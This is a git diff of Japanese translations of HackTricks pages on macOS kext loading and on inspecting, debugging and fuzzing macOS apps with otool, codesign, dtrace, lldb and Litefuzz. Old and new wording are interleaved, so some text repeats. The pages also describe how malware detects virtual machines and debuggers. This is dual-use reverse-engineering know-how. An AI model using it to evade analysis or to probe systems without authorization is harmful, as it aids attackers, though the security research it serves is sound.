Catalinaでは、次のようになります:興味深いことに、**検証プロセス**は**ユーザーランド**で行われます。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみがカーネルに**拡張のロードを要求**できます:kextcache、kextload、kextutil、kextd、syspolicyd
|
||||
|
||||
1. **`kextutil`** CLIは、拡張機能をロードするための検証プロセスを**開始**します。
|
||||
* Machサービスを使用して**`kextd`**に送信します。
|
||||
2. **`kextd`**は、署名などのいくつかのチェックを行います。
|
||||
* 拡張機能がロードできるかどうかを確認するために**`syspolicyd`**に話しかけます。
|
||||
3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザに尋ねます**。
|
||||
* **`syspolicyd`**は結果を**`kextd`**に示します。
|
||||
4. **`kextd`**は最終的にカーネルに拡張機能をロードするよう指示できます。
|
||||
1. **`kextutil`** CLIは、拡張をロードするための検証プロセスを**開始**します。
|
||||
|
||||
kextdが利用できない場合、kextutilは同じチェックを実行できます。
|
||||
* **`kextd`**との間でMachサービスを使用して通信します。
|
||||
|
||||
2. **`kextd`**は、署名などのさまざまなチェックを行います。
|
||||
|
||||
* **`syspolicyd`**との通信を行い、拡張をロードできるかどうかを確認します。
|
||||
|
||||
3. **`syspolicyd`**は、拡張が以前にロードされていないかどうかを**ユーザーに尋ねます**。
|
||||
|
||||
* **`syspolicyd`**は結果を**`kextd`**に伝えます。
|
||||
|
||||
4. **`kextd`**は最終的にカーネルに拡張をロードするよう指示できます。
|
||||
|
||||
kextdが利用できない場合、kextutilも同じチェックを実行できます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -53,8 +59,10 @@ kextdが利用できない場合、kextutilは同じチェックを実行でき
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの企業を宣伝したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックしてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* [**PEASSとHackTricksの公式スワッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discordグループ**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)** **と** [**hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)** にPRを送ることで、あなたのハッキングのテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -21,7 +21,7 @@ otool -tv /bin/ps #Decompile application
|
|||
```
|
||||
### objdump
|
||||
|
||||
`objdump`は、バイナリファイルの解析とデバッグに使用されるユーティリティです。このツールは、オブジェクトファイルや実行可能ファイルのセクション、シンボル、リロケーションエントリなどの情報を表示します。
|
||||
objdumpは、バイナリファイルの解析とデバッグに使用されるユーティリティです。objdumpを使用すると、実行可能ファイルやオブジェクトファイルのセクション、シンボル、リロケーションエントリなどの情報を表示することができます。
|
||||
|
||||
#### 使用法
|
||||
|
||||
|
@ -31,11 +31,12 @@ objdump [オプション] <ファイル>
|
|||
|
||||
#### オプション
|
||||
|
||||
- `-d`:逆アセンブルされたコードを表示します。
|
||||
- `-t`:シンボルテーブルを表示します。
|
||||
- `-r`:リロケーションエントリを表示します。
|
||||
- `-s`:セクションの内容を表示します。
|
||||
- `-x`:ヘッダ情報を表示します。
|
||||
- `-d` : ディスアセンブルされたコードを表示します。
|
||||
- `-t` : シンボルテーブルを表示します。
|
||||
- `-r` : リロケーションエントリを表示します。
|
||||
- `-s` : セクションの内容を表示します。
|
||||
- `-h` : セクションヘッダを表示します。
|
||||
- `-x` : ヘッダ情報を表示します。
|
||||
|
||||
#### 例
|
||||
|
||||
|
@ -43,11 +44,37 @@ objdump [オプション] <ファイル>
|
|||
objdump -d binary
|
||||
```
|
||||
|
||||
このコマンドは、`binary`という名前のバイナリファイルの逆アセンブルされたコードを表示します。
|
||||
このコマンドは、バイナリファイルのディスアセンブルされたコードを表示します。
|
||||
|
||||
#### 注意事項
|
||||
```
|
||||
objdump -t binary
|
||||
```
|
||||
|
||||
`objdump`は、バイナリファイルの解析に使用されるため、慎重に使用する必要があります。不正な目的で使用しないようにしてください。
|
||||
このコマンドは、バイナリファイルのシンボルテーブルを表示します。
|
||||
|
||||
```
|
||||
objdump -r binary
|
||||
```
|
||||
|
||||
このコマンドは、バイナリファイルのリロケーションエントリを表示します。
|
||||
|
||||
```
|
||||
objdump -s binary
|
||||
```
|
||||
|
||||
このコマンドは、バイナリファイルのセクションの内容を表示します。
|
||||
|
||||
```
|
||||
objdump -h binary
|
||||
```
|
||||
|
||||
このコマンドは、バイナリファイルのセクションヘッダを表示します。
|
||||
|
||||
```
|
||||
objdump -x binary
|
||||
```
|
||||
|
||||
このコマンドは、バイナリファイルのヘッダ情報を表示します。
|
||||
```bash
|
||||
objdump -m --dylibs-used /bin/ls #List dynamically linked libraries
|
||||
objdump -m -h /bin/ls # Get headers information
|
||||
|
@ -74,23 +101,13 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
|||
```
|
||||
### Codesign
|
||||
|
||||
Codesign(コードサイン)は、macOSにおいてアプリケーションの信頼性とセキュリティを確保するための重要な手法です。Codesignは、アプリケーションが信頼できるソースから提供され、改ざんされていないことを確認するために使用されます。
|
||||
Codesign(コードサイン)は、macOSにおけるアプリケーションの署名プロセスです。アプリケーションをコードサインすることで、そのアプリケーションが信頼できるものであることを証明し、ユーザーに安全性を提供します。
|
||||
|
||||
Codesignによって、アプリケーションにはデジタル署名が付与されます。この署名には、アプリケーションの開発者や配布元の情報が含まれています。また、アプリケーションが改ざんされていないことを確認するためのチェックサムも含まれています。
|
||||
コードサインには、開発者証明書を使用します。開発者証明書は、Apple Developer Programに登録することで入手できます。アプリケーションをコードサインするには、開発者証明書を使用してアプリケーションにデジタル署名を付与する必要があります。
|
||||
|
||||
Codesignによってアプリケーションが署名されると、macOSはそのアプリケーションを実行する際に署名を検証します。もし署名が有効でない場合、macOSはアプリケーションの実行をブロックします。
|
||||
コードサインされたアプリケーションは、macOSにおいて信頼されたアプリケーションとして扱われます。ユーザーは、コードサインされたアプリケーションが改ざんされていないことや、信頼できる開発者によって作成されたものであることを確認できます。
|
||||
|
||||
Codesignは、アプリケーションの信頼性を確保するだけでなく、プライバシーとセキュリティの向上にも役立ちます。署名されたアプリケーションは、システムの特権を要求することができますが、その際にはユーザーに対して警告が表示されます。
|
||||
|
||||
アプリケーションのCodesignを確認するには、ターミナルで以下のコマンドを実行します。
|
||||
|
||||
```bash
|
||||
codesign -dv /path/to/application.app
|
||||
```
|
||||
|
||||
このコマンドによって、アプリケーションの署名情報やチェックサムが表示されます。また、署名が有効であるかどうかも確認できます。
|
||||
|
||||
Codesignは、macOSアプリケーションのセキュリティを向上させるための重要な手法です。アプリケーションの署名を確認することで、信頼性のあるアプリケーションのみを実行することができます。
|
||||
コードサインは、アプリケーションのセキュリティを向上させるだけでなく、特権エスカレーション攻撃などの悪意のある活動を防ぐための重要な手段です。
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -110,11 +127,11 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)は、インストールする前に**.pkg**ファイル(インストーラ)を検査し、中身を確認するのに役立つツールです。\
|
||||
これらのインストーラには、マルウェアの作者が通常悪用する`preinstall`と`postinstall`のBashスクリプトが含まれています。
|
||||
これらのインストーラには、マルウェアの作者が通常悪用する`preinstall`と`postinstall`のbashスクリプトが含まれています。
|
||||
|
||||
### hdiutil
|
||||
|
||||
このツールは、Appleディスクイメージ(**.dmg**)ファイルを実行する前に検査するためにマウントすることができます。
|
||||
このツールは、Appleのディスクイメージ(**.dmg**)ファイルを実行する前に検査するためにマウントすることができます。
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -143,18 +160,18 @@ Objective-Cを使用するバイナリで関数が呼び出されると、コン
|
|||
この関数が期待するパラメータは次のとおりです:
|
||||
|
||||
* 最初のパラメータ(**self**)は、「メッセージを受け取るクラスのインスタンスを指すポインタ」です。簡単に言えば、メソッドが呼び出されるオブジェクトです。メソッドがクラスメソッドの場合、これはクラスオブジェクト(全体として)のインスタンスになります。一方、インスタンスメソッドの場合、selfはクラスのインスタンスとしてインスタンス化されたオブジェクトを指します。
|
||||
* 2番目のパラメータ(**op**)は、「メッセージを処理するメソッドのセレクタ」です。簡単に言えば、これは単に**メソッドの名前**です。
|
||||
* 2番目のパラメータ(**op**)は、「メッセージを処理するメソッドのセレクタ」です。簡単に言えば、これはメソッドの**名前**です。
|
||||
* 残りのパラメータは、メソッドで必要な**値**です(op)。
|
||||
|
||||
| **引数** | **レジスタ** | **(for) objc\_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **1番目の引数** | **rdi** | **self: メソッドが呼び出されるオブジェクト** |
|
||||
| **2番目の引数** | **rsi** | **op: メソッドの名前** |
|
||||
| **3番目の引数** | **rdx** | **メソッドへの第1引数** |
|
||||
| **4番目の引数** | **rcx** | **メソッドへの第2引数** |
|
||||
| **5番目の引数** | **r8** | **メソッドへの第3引数** |
|
||||
| **6番目の引数** | **r9** | **メソッドへの第4引数** |
|
||||
| **7番目以降の引数** | <p><strong>rsp+</strong><br><strong>(スタック上)</strong></p> | **メソッドへの第5引数以降** |
|
||||
| **3番目の引数** | **rdx** | **メソッドへの最初の引数** |
|
||||
| **4番目の引数** | **rcx** | **メソッドへの2番目の引数** |
|
||||
| **5番目の引数** | **r8** | **メソッドへの3番目の引数** |
|
||||
| **6番目の引数** | **r9** | **メソッドへの4番目の引数** |
|
||||
| **7番目以降の引数** | <p><strong>rsp+</strong><br><strong>(スタック上)</strong></p> | **メソッドへの5番目以降の引数** |
|
||||
|
||||
### Swift
|
||||
|
||||
|
@ -172,7 +189,7 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
|
|||
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
[...]
|
||||
```
|
||||
詳細な情報は、[**このブログ記事**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)で、これらのセクションに格納された情報について説明されています。
|
||||
詳細な情報は、[**このブログ記事**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)に保存されている情報について調べることができます。
|
||||
|
||||
### パックされたバイナリ
|
||||
|
||||
|
@ -187,20 +204,20 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
MacOS上で`cloudconfigurationd`などの**システムバイナリ**を**インストゥルメント**するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
|
||||
macOS上のシステムバイナリ(`cloudconfigurationd`など)を**インストゥルメント**するには、**SIPを無効にする必要があります**(署名を削除するだけでは機能しません)。
|
||||
{% endhint %}
|
||||
|
||||
### 統合ログ
|
||||
|
||||
MacOSは、アプリケーションを実行する際に非常に役立つログを生成します。これにより、アプリケーションが**何をしているか**を理解することができます。
|
||||
|
||||
さらに、一部のログには、一部の**ユーザー**や**コンピューター**の**識別可能な情報**を**非表示**にするためのタグ`<private>`が含まれています。ただし、**この情報を開示するための証明書をインストール**することも可能です。[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。
|
||||
さらに、一部のログには、一部の**ユーザー**または**コンピューター**の**識別可能な情報**を**非表示**にするためのタグ`<private>`が含まれています。ただし、**この情報を開示するための証明書をインストールすることが可能**です。[**こちら**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)の説明に従ってください。
|
||||
|
||||
### Hopper
|
||||
|
||||
#### 左パネル
|
||||
|
||||
Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を表示することができます。これらはすべての文字列ではありませんが、Mac-Oファイルのいくつかの部分(_cstringや`objc_methname`など)で定義されています。
|
||||
Hopperの左パネルでは、バイナリのシンボル(**ラベル**)、手続きと関数のリスト(**Proc**)、および文字列(**Str**)を表示することができます。これらはすべての文字列ではありませんが、Mac-Oファイルのいくつかの部分(_cstringや`objc_methname`など)で定義されているものです。
|
||||
|
||||
#### 中央パネル
|
||||
|
||||
|
@ -225,7 +242,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
|||
```
|
||||
### ktrace
|
||||
|
||||
これは、**SIPが有効化されていても**使用することができます。
|
||||
これは、**SIPが有効化されている場合でも**使用することができます。
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
|
@ -233,7 +250,7 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
|||
|
||||
これにより、ユーザーは非常に**低レベル**でアプリケーションにアクセスでき、プログラムを**トレース**し、実行フローを変更する方法を提供します。Dtraceは、カーネル全体に**配置されたプローブ**を使用し、システムコールの開始と終了などの場所にあります。
|
||||
|
||||
DTraceは、各システムコールごとにプローブを作成するために**`dtrace_probe_create`**関数を使用します。これらのプローブは、各システムコールの**エントリーポイントと終了ポイント**で発火することができます。DTraceとのやり取りは、ルートユーザーにのみ利用可能な/dev/dtraceを介して行われます。
|
||||
DTraceは、各システムコールごとにプローブを作成するために**`dtrace_probe_create`**関数を使用します。これらのプローブは、各システムコールの**エントリーポイントと終了ポイント**で発火することができます。DTraceとのやり取りは、ルートユーザーのみが利用できる/dev/dtraceを介して行われます。
|
||||
|
||||
dtraceの利用可能なプローブは、次のコマンドで取得できます:
|
||||
```bash
|
||||
|
@ -245,7 +262,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
43 profile profile-97
|
||||
44 profile profile-199
|
||||
```
|
||||
プローブ名は、プロバイダー、モジュール、関数、および名前(`fbt:mach_kernel:ptrace:entry`)の4つの部分で構成されています。名前の一部を指定しない場合、Dtraceはその部分をワイルドカードとして適用します。
|
||||
プローブ名は、プロバイダー、モジュール、関数、および名前(`fbt:mach_kernel:ptrace:entry`)の4つの部分で構成されています。名前の一部を指定しない場合、DTraceはその部分をワイルドカードとして適用します。
|
||||
|
||||
プローブをアクティブにし、それらが発生したときに実行するアクションを指定するには、D言語を使用する必要があります。
|
||||
|
||||
|
@ -255,72 +272,12 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
|
||||
`man -k dtrace`を実行して、**利用可能なDTraceスクリプト**の一覧を表示します。例:`sudo dtruss -n binary`
|
||||
|
||||
* 行中
|
||||
* 行中で
|
||||
```bash
|
||||
#Count the number of syscalls of each running process
|
||||
sudo dtrace -n 'syscall:::entry {@[execname] = count()}'
|
||||
```
|
||||
# MacOSアプリの検査、デバッグ、およびファジング
|
||||
|
||||
このセクションでは、MacOSアプリの検査、デバッグ、およびファジングについて説明します。これらのテクニックは、アプリケーションのセキュリティと特権エスカレーションのテストに役立ちます。
|
||||
|
||||
## アプリの検査
|
||||
|
||||
アプリの検査は、アプリのセキュリティホールや脆弱性を特定するために行われます。以下の手法が使用されます。
|
||||
|
||||
### 静的解析
|
||||
|
||||
静的解析は、アプリのバイナリコードを分析してセキュリティ上の問題を特定する手法です。以下のツールが使用されます。
|
||||
|
||||
- [Hopper](https://www.hopperapp.com/)
|
||||
- [Radare2](https://rada.re/r/)
|
||||
- [Ghidra](https://ghidra-sre.org/)
|
||||
|
||||
### 動的解析
|
||||
|
||||
動的解析は、アプリを実行して実行時の挙動を分析する手法です。以下のツールが使用されます。
|
||||
|
||||
- [lldb](https://lldb.llvm.org/)
|
||||
- [frida](https://frida.re/)
|
||||
|
||||
## デバッグ
|
||||
|
||||
デバッグは、アプリの実行中に問題を特定し、修正するために行われます。以下の手法が使用されます。
|
||||
|
||||
### ブレークポイントの設定
|
||||
|
||||
ブレークポイントは、特定のコード行でプログラムの実行を一時停止するために使用されます。以下の手法が使用されます。
|
||||
|
||||
- `lldb`を使用したブレークポイントの設定
|
||||
- `frida`を使用したブレークポイントの設定
|
||||
|
||||
### メモリの解析
|
||||
|
||||
メモリの解析は、アプリのメモリ内の情報を調査する手法です。以下の手法が使用されます。
|
||||
|
||||
- `lldb`を使用したメモリの解析
|
||||
- `frida`を使用したメモリの解析
|
||||
|
||||
## ファジング
|
||||
|
||||
ファジングは、アプリにランダムなデータを入力して、予期しない動作やセキュリティ上の問題を特定する手法です。以下の手法が使用されます。
|
||||
|
||||
### ファジングツールの使用
|
||||
|
||||
ファジングツールは、自動的にランダムなデータを生成してアプリに入力するツールです。以下のツールが使用されます。
|
||||
|
||||
- [AFL](https://github.com/google/AFL)
|
||||
- [honggfuzz](https://github.com/google/honggfuzz)
|
||||
- [Peach Fuzzer](https://peachfuzzer.com/)
|
||||
|
||||
### クラッシュの解析
|
||||
|
||||
ファジング中に発生したクラッシュを解析することで、セキュリティ上の問題を特定することができます。以下の手法が使用されます。
|
||||
|
||||
- `lldb`を使用したクラッシュの解析
|
||||
- `frida`を使用したクラッシュの解析
|
||||
|
||||
以上がMacOSアプリの検査、デバッグ、およびファジングに関する情報です。これらのテクニックを使用して、アプリのセキュリティを向上させることができます。
|
||||
* スクリプト
|
||||
```bash
|
||||
syscall:::entry
|
||||
/pid == $1/
|
||||
|
@ -366,6 +323,12 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
|
|||
|
||||
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor)は、ファイルのイベント(作成、変更、削除など)を監視し、そのようなイベントに関する詳細な情報を提供します。
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html)は、Xcodeの開発者ツールの一部であり、アプリケーションのパフォーマンスを監視し、メモリリークを特定し、ファイルシステムのアクティビティを追跡するために使用されます。
|
||||
|
||||
![](<../../../.gitbook/assets/image (15).png>)
|
||||
|
||||
### fs\_usage
|
||||
|
||||
プロセスが実行するアクションを追跡することができます。
|
||||
|
@ -391,27 +354,31 @@ lldb -p 1122
|
|||
lldb -n malware.bin
|
||||
lldb -n malware.bin --waitfor
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
lldb内で、`process save-core`を使用してプロセスをダンプします。
|
||||
{% endhint %}
|
||||
|
||||
| **(lldb) コマンド** | **説明** |
|
||||
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **run (r)** | 実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで続行します。 |
|
||||
| **continue (c)** | デバッグ対象のプロセスの実行を続行します。 |
|
||||
| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **run (r)** | ブレークポイントがヒットするか、プロセスが終了するまで実行を開始します。 |
|
||||
| **continue (c)** | デバッグ対象のプロセスの実行を継続します。 |
|
||||
| **nexti (n / ni)** | 次の命令を実行します。このコマンドは関数呼び出しをスキップします。 |
|
||||
| **stepi (s / si)** | 次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。 |
|
||||
| **finish (f)** | 現在の関数("フレーム")の残りの命令を実行し、停止します。 |
|
||||
| **control + c** | 実行を一時停止します。プロセスが実行されている場合(rまたはc)、プロセスは現在の実行位置で停止します。 |
|
||||
| **finish (f)** | 現在の関数("フレーム")の残りの命令を実行し、停止します。 |
|
||||
| **control + c** | 実行を一時停止します。プロセスが実行(r)または継続(c)されている場合、プロセスは現在実行中の場所で停止します。 |
|
||||
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #ブレークポイントリスト</p><p>br e/dis <num> #ブレークポイントの有効化/無効化</p><p>breakpoint delete <num><br>b set -n main --shlib <lib_name></p> |
|
||||
| **help** | <p>help breakpoint #ブレークポイントコマンドのヘルプを取得</p><p>help memory write #メモリへの書き込みのヘルプを取得</p> |
|
||||
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
|
||||
| **help** | <p>help breakpoint #ブレークポイントコマンドのヘルプを取得する</p><p>help memory write #メモリへの書き込みのヘルプを取得する</p> |
|
||||
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
|
||||
| **x/s \<reg/memory address>** | メモリをヌル終端文字列として表示します。 |
|
||||
| **x/i \<reg/memory address>** | メモリをアセンブリ命令として表示します。 |
|
||||
| **x/b \<reg/memory address>** | メモリをバイトとして表示します。 |
|
||||
| **print object (po)** | <p>これにより、パラメータで参照されるオブジェクトが表示されます</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-CのほとんどのAPIやメソッドはオブジェクトを返すため、「print object」(po)コマンドを使用して表示する必要があります。 poが有意義な出力を生成しない場合は、<code>x/b</code>を使用します</p> |
|
||||
| **x/i \<reg/memory address>** | メモリをアセンブリ命令として表示します。 |
|
||||
| **x/b \<reg/memory address>** | メモリをバイトとして表示します。 |
|
||||
| **print object (po)** | <p>これにより、パラメータで参照されるオブジェクトが表示されます</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-CのほとんどのAPIやメソッドはオブジェクトを返すため、「print object」(po)コマンドを使用して表示する必要があります。 poが有意義な出力を生成しない場合は、<code>x/b</code>を使用してください。</p> |
|
||||
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込む<br>memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込む</p> |
|
||||
| **disassembly** | <p>dis #現在の関数を逆アセンブルする<br>dis -c 6 #6行を逆アセンブルする<br>dis -c 0x100003764 -e 0x100003768 #一つのアドレスから他のアドレスまで逆アセンブルする<br>dis -p -c 4 #現在のアドレスから逆アセンブルを開始する</p> |
|
||||
| **parray** | parray 3 (char \*\*)$x1 # x1レジスタの3つのコンポーネントの配列をチェックします |
|
||||
| **disassembly** | <p>dis #現在の関数を逆アセンブルする<br>dis -c 6 #6行を逆アセンブルする<br>dis -c 0x100003764 -e 0x100003768 #一つのアドレスからもう一つのアドレスまで逆アセンブルする<br>dis -p -c 4 #現在のアドレスから逆アセンブルを開始する</p> |
|
||||
| **parray** | parray 3 (char \*\*)$x1 # x1レジスタの3つのコンポーネントの配列をチェックします |
|
||||
|
||||
{% hint style="info" %}
|
||||
**`objc_sendMsg`**関数を呼び出す際、**rsi**レジスタにはヌル終端("C")文字列としての**メソッド名**が格納されます。lldbを使用して名前を表示するには、次のようにします:
|
||||
**`objc_sendMsg`**関数を呼び出す際、**rsi**レジスタにはメソッドの名前がヌル終端("C")文字列として保持されます。lldbを使用して名前を表示するには、次のようにします:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -423,14 +390,14 @@ lldb -n malware.bin --waitfor
|
|||
|
||||
### アンチダイナミック解析
|
||||
|
||||
#### VMの検出
|
||||
#### VM検出
|
||||
|
||||
* **`sysctl hw.model`**コマンドは、ホストがMacOSである場合は「Mac」を返しますが、VMの場合は異なる値を返します。
|
||||
* **`hw.logicalcpu`**および**`hw.physicalcpu`**の値を操作することで、一部のマルウェアはVMであるかどうかを検出しようとします。
|
||||
* 一部のマルウェアは、MACアドレス(00:50:56)に基づいてマシンがVMwareであるかどうかも検出できます。
|
||||
* 次のような単純なコードで、プロセスがデバッグされているかどうかを検出することもできます:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
|
||||
* **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグとともに呼び出すこともできます。これにより、デバッガがアタッチおよびトレースを行うことができなくなります。
|
||||
* また、**`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグとともに呼び出すこともできます。これにより、デバッガがアタッチおよびトレースを防止します。
|
||||
* **`sysctl`**または**`ptrace`**関数が**インポート**されているかどうかを確認できます(ただし、マルウェアは動的にインポートする可能性があります)
|
||||
* この記事によれば、"[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)":\
|
||||
"_メッセージ「Process # exited with **status = 45 (0x0000002d)**」は、デバッグ対象が**PT\_DENY\_ATTACH**を使用していることを示す兆候です_"
|
||||
|
@ -455,7 +422,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
|||
```
|
||||
### スリープ
|
||||
|
||||
MacOSでのフジング中にMacがスリープしないようにすることが重要です。
|
||||
MacOSでのフジング中には、Macがスリープしないようにすることが重要です。
|
||||
|
||||
* systemsetup -setsleep Never
|
||||
* pmset、システム環境設定
|
||||
|
@ -474,7 +441,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
```
|
||||
### 内部ハンドラ
|
||||
|
||||
**次のページ**をチェックして、指定されたスキームやプロトコルを処理するアプリを見つける方法を見つけてください:
|
||||
**次のページをチェックアウト**して、指定されたスキームやプロトコルを処理するアプリを見つける方法を確認してください:
|
||||
|
||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||
|
@ -482,7 +449,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
|
||||
### ネットワークプロセスの列挙
|
||||
|
||||
ネットワークデータを管理しているプロセスを見つけるために興味深いです:
|
||||
ネットワークデータを管理しているプロセスを見つけるのに興味深いです:
|
||||
```bash
|
||||
dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >> recv.log
|
||||
#wait some time
|
||||
|
@ -499,19 +466,17 @@ cat procs.txt
|
|||
```bash
|
||||
lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib" -o "run arg1 arg2" -o "bt" -o "reg read" -o "dis -s \$pc-32 -c 24 -m -F intel" -o "quit"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Fuzzers
|
||||
### ファズツール
|
||||
|
||||
#### [AFL++](https://github.com/AFLplusplus/AFLplusplus)
|
||||
|
||||
CLIツールに対して動作します。
|
||||
CLIツールに対応しています。
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
macOSのGUIツールと "**just works"** します。ただし、一部のmacOSアプリは、ユニークなファイル名、正しい拡張子、サンドボックスからのファイルの読み取りが必要など、特定の要件を持っています(`~/Library/Containers/com.apple.Safari/Data`からのファイルなど)。
|
||||
macOSのGUIツールとの互換性があります。ただし、一部のmacOSアプリは固有の要件を持っています。例えば、ユニークなファイル名、正しい拡張子、サンドボックスからのファイルの読み取り(`~/Library/Containers/com.apple.Safari/Data`)が必要です。
|
||||
|
||||
いくつかの例:
|
||||
以下にいくつかの例を示します:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -539,7 +504,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### より多くのMacOSの情報をフジングする
|
||||
### より多くのMacOS情報のFuzzing
|
||||
|
||||
